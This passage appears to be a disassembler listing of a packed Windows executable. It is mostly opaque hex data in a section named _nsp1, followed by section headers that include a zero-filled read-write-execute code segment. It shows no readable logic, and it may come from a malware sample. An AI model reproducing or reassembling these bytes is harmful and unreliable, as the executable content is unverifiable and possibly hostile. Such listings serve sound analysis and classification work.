4BEB4112h, 9F9F1DA6h, 0FD02AB22h, 96DA22F0h dd 0DCB9B8BBh, 642FB6E6h, 0FAFC78Ah, 9571BC27h, 5B8A5622h dd 0DCB8A8AFh, 0B3EA1743h, 0DCF0084Fh, 5A0744D5h, 1D69E266h dd 0A50AB81Ah, 8B092038h, 79AB4974h, 0B03F645Eh, 0F0525E05h dd 0CB85519Bh, 0E6AA3105h, 0FB8955A0h, 0ED9730EEh, 0EC70BB21h dd 0A9F8190Eh, 0BAF49C76h, 8287EC4Eh, 11941CA3h, 7EC9B4DAh dd 76046CFCh, 2DDCBBF1h, 8645F85Ah, 36AD68D1h, 0F918B042h dd 0BE0EA889h, 3663BA24h, 42566C36h, 4AAE60C9h, 0A0CBC4D8h dd 0F52B0C4Dh, 165DD254h, 0B5DBAF95h, 13BCE703h, 0CAC99427h dd 0E94AA5E2h, 99101A0h, 3098DCC8h, 0C7C8961h, 7995C905h dd 66204466h, 82B8A04Dh, 41514AF5h, 0ACC2D65Ah, 0EA50F0Fh dd 7C589CC0h, 7BE351CAh, 0AAAB9C19h, 0F4B42B02h, 1BE33156h dd 1BC9CE75h, 294955AEh, 0CD7F3DBh, 58150886h, 0F48B48CBh dd 433713D3h, 0AB15FCFFh, 0AD773E91h, 537DC568h, 3C35424Bh dd 44DFD27Dh, 601D4B4Fh, 0E0EA053Eh, 0EF0D6B4Dh, 10624AF2h dd 0E133F60Eh, 9B8A4356h, 70CA1AACh, 0E3C80189h, 7103A744h dd 0E9D3F4C9h, 6A4F3C56h, 0AB350915h, 0BE747953h, 58295D3Fh dd 38F61517h, 5247B533h, 0D8B33C68h, 10C7B438h, 0F25B01h dd 87610E84h, 2857A459h, 0B9739C9Fh, 0E75D550Eh, 282E129h dd 0DF35E51Ah, 9CB07E15h, 0EB85A0F3h, 1E8D8AD0h, 0BF7FA426h dd 39BA9718h, 0D5B61AB2h, 1FB592A4h, 49B58164h, 4F85610Ah dd 0C7C6EC6Ch, 81CBE424h, 84856842h, 0CA559755h, 83254C63h dd 0D8B70C2Dh, 70766081h, 0BF8CB008h, 559CF59Dh, 8009B345h dd 9666DB92h, 0F3ED4A7Ch, 558F3F49h, 62A4ED99h, 82584C29h dd 73D25272h, 0C4D385E4h, 0D93F7918h, 444F5390h, 0E2B3E2ABh dd 7E79108h, 0BBBFFDEh, 0A353FBE6h, 0CEE80461h, 0BCEA9AC6h dd 0B3C55626h, 0C31B88E4h, 58546394h, 0C45BC8A8h, 0F9EE7AB9h dd 8CDCC27Bh, 0CC899F1Fh, 20BDB710h, 69390915h, 0D805C54Dh dd 0B752766Bh, 0A3B1A3B8h, 69C37682h, 0A14F6EE2h, 0B06BE0Dh dd 0E4C0397Dh, 4F57643Dh, 5129BD78h, 0E088CBD0h, 97D6FC99h dd 7A22FA42h, 0A451FED2h, 0C29704E2h, 0BCC90328h, 0CD8112A7h dd 0D7D70753h, 0B6DD17Bh, 13DAB22Ah, 0BC3C74F9h, 0C4AE661Fh dd 0FB6E23F0h, 0A7448BDAh, 27BAA6A6h, 2BFBE1C3h, 74CD0196h dd 898A66Fh, 0CD72BC4Ah, 0AEBB735Eh, 0E5D9308Fh, 933B312h dd 0FED50440h, 0F4543F60h, 46CD697Fh, 0A07F6CE4h, 0D2134222h dd 0F772320Bh, 995C5B72h, 62D670BBh, 64D789B9h, 11698D1Fh dd 0B216752Ah, 879C26CFh, 8FD9A8ACh, 0C61F8182h, 121CB4C3h dd 1BD9DABDh, 2651E180h, 0D827EC6Eh, 671DB68Ah, 53F69719h dd 50287228h, 5C4AD634h, 384FA74Eh, 1282B2CFh, 0BD30E8BDh dd 807AEB30h, 1F9527CDh, 5958305Dh, 4CF04D82h, 0CB1C0B3Eh dd 37D8AA9h, 0C84B2E25h, 4FBED427h, 5194CB35h, 0B07BA3F1h dd 5631513h, 0FC1BE424h, 23E7583Fh, 0CFA089CEh, 0BD9ED06h dd 1EBEA409h, 9C97C6EFh, 93635D33h, 591F7E30h, 0E3F49096h dd 0C037E7Bh, 0F4266478h, 19E8167Fh, 0D4C154DFh, 79DBDAC7h dd 9E5054E0h, 34E19A46h, 65BA66CEh, 2F5DADBAh, 54222247h dd 651D510Fh, 7F8D6526h, 0C2D24842h, 55EDEC8Fh, 0D9831A89h dd 0C042981Ah, 95AB402Ch, 0E168F591h, 0F492E116h, 70A0DCEDh dd 4ACAC625h, 0DAD297B0h, 0BEC6B45Ch, 7AC28B59h, 774610C1h dd 9308161h, 0B73E6A09h, 916557BBh, 0AEA35F9Eh, 2825F501h dd 0D39201BAh, 0C3F7FFF6h, 2F401B81h, 0BF2CA908h, 7783796Fh dd 0FE242338h, 0EBD91A69h, 0DB0E762Fh, 0DD8AC4FFh, 6DF682E7h dd 32B656C4h, 75BB82DEh, 729F3B2Ah, 7C8C2F20h, 97E80BC7h dd 8CC96D1Eh, 0E736C023h, 27D41E8Bh, 2467F978h, 632F5548h dd 0A20FC6E9h, 17201254h, 0CBF39061h, 0BBFE8019h, 0C23DA87h dd 55754107h, 0B6A9D45Ch, 7AD04417h, 96FDE063h, 5156D64Ch dd 99ABF2DEh, 0A4045ECBh, 38C22876h, 3014097Ah, 0E51DCB49h dd 0A628A4ADh, 0C9851B23h, 8947463h, 4A9F0B53h, 0EEA2BF0Ah dd 34E03C5Bh, 0B814D9A9h, 9971B5ACh, 2F1B1016h, 71B01E76h dd 0DA0039EDh, 0D663E7F5h, 0A0E0B2B5h, 0FE6E347h, 62D9D236h dd 45361B8Dh, 879F76E4h, 0DBFC2D11h, 87BBEF2Ch, 5B9552D2h dd 4DA962F7h, 67058BADh, 0CF8B4B33h, 0A953244Ah, 0C73202F1h dd 8C44752Fh, 987239Ah, 7CEC57Bh, 0E735F991h, 0DEAE58A2h dd 7858FA21h, 96C05CB5h, 0DE679CDFh, 0F4A0975Ch, 0AD68FCB2h dd 0DDD6C333h, 0FE9B853h, 10F4AEDEh, 27D919ACh, 6C2B1634h dd 0C190D04h, 0AB69F1Fh, 2EF35B42h, 9AF342Dh, 9EF2AF19h dd 0C64EE1D9h, 23A9A416h, 28DBD95Ch, 0E5F82007h, 5AB6B8E2h dd 22AFD398h, 0E12E270Fh, 0AC3E8438h, 150AD5A3h, 8586BF66h dd 519EBDE8h, 192D7D61h, 4E19A5Fh, 0D236CA08h, 0EEEE33D0h dd 83840EF1h, 73B2936Bh, 43A0FB79h, 2C807B3h, 11E696D3h dd 0DB25EA04h, 412A41E9h, 46557641h, 20653186h, 0A15DEAA3h dd 0BBDF2DB0h, 0F0DCB3CEh, 6C652FA7h, 7B76111Ah, 0CF45EF6h dd 5764EB53h, 82735E09h, 24D065EEh, 2E512309h, 0C716F1ECh dd 32D63271h, 0C3E09DB1h, 52411447h, 1B5D6FD4h, 67262367h dd 12E114BAh, 0EA5A7437h, 15B37416h, 8CBA13E9h, 4780EE75h dd 1D26A062h, 44B523A6h, 3AAECDC8h, 0C2A7A8B5h, 0F0D9B01Fh dd 0D7D5ABAAh, 0D42B8E98h, 4AF3DA61h, 0EBA184D3h, 8F629897h dd 0A42A38C1h, 0E5E3184Eh, 36FB5060h, 36365943h, 0BABD05B6h dd 0EF3323CCh, 0E207773Eh dd 0E888F8D4h, 25BBF2BAh, 62EA1B0Bh, 61092EB8h, 7D5A302Bh dd 2585A4D3h, 5DE80605h, 2FD38BAAh, 405FD560h, 425C339Bh dd 173AEC84h, 0A4FD56Fh, 21953D9h, 0B7E67976h, 0C62EBB2h dd 0A259A76Ah, 50B12F75h, 9CBE15C8h, 0EC9284D0h, 3B4C10BCh dd 57F80469h, 9C621DA6h, 6F1A2BAh, 402AF62Ch, 0F58691FCh dd 0E2E5D3F1h, 90D5EF88h, 132CB4C6h, 9FA4BF4Eh, 91574F06h dd 1D2ED80Fh, 0D2B92428h, 258E3A3Bh, 0D0FCBB21h, 0F8F3B333h dd 829ED5Bh, 4386B9C6h, 6B8B0C94h, 4927ABD0h, 36883093h dd 0C4D98A28h, 0D7D93C96h, 0E7BF7AE9h, 2E05DEDDh, 72BC492Fh dd 926A959Ch, 60CA1A8h, 0CCD04FD7h, 28C7149Bh, 261A1E84h dd 6233901Eh, 664B06A3h, 23BC6E5Bh, 5EE124FAh, 2DFD8BDAh dd 8207C929h, 8DA8923Eh, 2B59CD42h, 798C5B4Bh, 0AB32D83Ch dd 2A31A9FEh, 98002A3Dh, 74B79A4h, 0D052EB47h, 511E460Dh dd 52B62415h, 869C59Ah, 0A203A909h, 103B1EDAh, 71E78AAEh dd 0A3366342h, 43D8B709h, 526CA04h, 0AD5C990Eh, 5954CF3Bh dd 6CF35425h, 0F543091Ah, 68F54BE2h, 4A157A22h, 0E31237BDh dd 609DDBC4h, 95E4E6FBh, 7E88B388h, 0D330BF79h, 0C7F186AFh dd 0DCAB1328h, 3CFD3B88h, 52B74DD9h, 0A670C8B1h, 2F26B323h dd 2D19577Bh, 97A8686Dh, 0BF81E427h, 0BF4AC52Bh, 0C9A703DAh dd 961C7343h, 0AA586CBEh, 1B668400h, 0ABCB8BB0h, 0BF30CA3Ah dd 34DB198Bh, 0B02482BEh, 0E6715401h, 0FCE2D362h, 0F8C998E9h dd 0F98B41E8h, 0A4495A81h, 99CD1FA4h, 85F75DE2h, 0E9B25F8h dd 0BFDA2547h, 5477614Eh, 99741471h, 6183B1FFh, 0A3096F62h dd 91E05AE0h, 85D75B58h, 5ADCD28Ch, 0E809E2E6h, 4136ABE0h dd 5E26A4BBh, 0F50F97BCh, 91CDB8E6h, 0A5338B57h, 0EFA3D9A9h dd 8A42FDCEh, 3E898A57h, 4C5F0FD9h, 0DA3078A4h, 8A70EF1Eh dd 3E6A439Ch, 4F82C8B3h, 51BC2A60h, 4E36D252h, 0A400A48Fh dd 168h dup(0) _nsp1 ends ; Section 3. (virtual address 000B1000) ; Virtual size : 00000DB8 ( 3512.) ; Section size in file : 00000DB8 ( 3512.) ; Offset to raw data for section: 000B1000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp2 segment para public 'CODE' use32 assume cs:_nsp2 ;org 4B1000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 36Eh dup(0) dd 12h dup(?) _nsp2 ends ; Section 4. (virtual address 000B2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000B1E00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4B2000h dd 80h dup(0) align 1000h _idata2 ends end start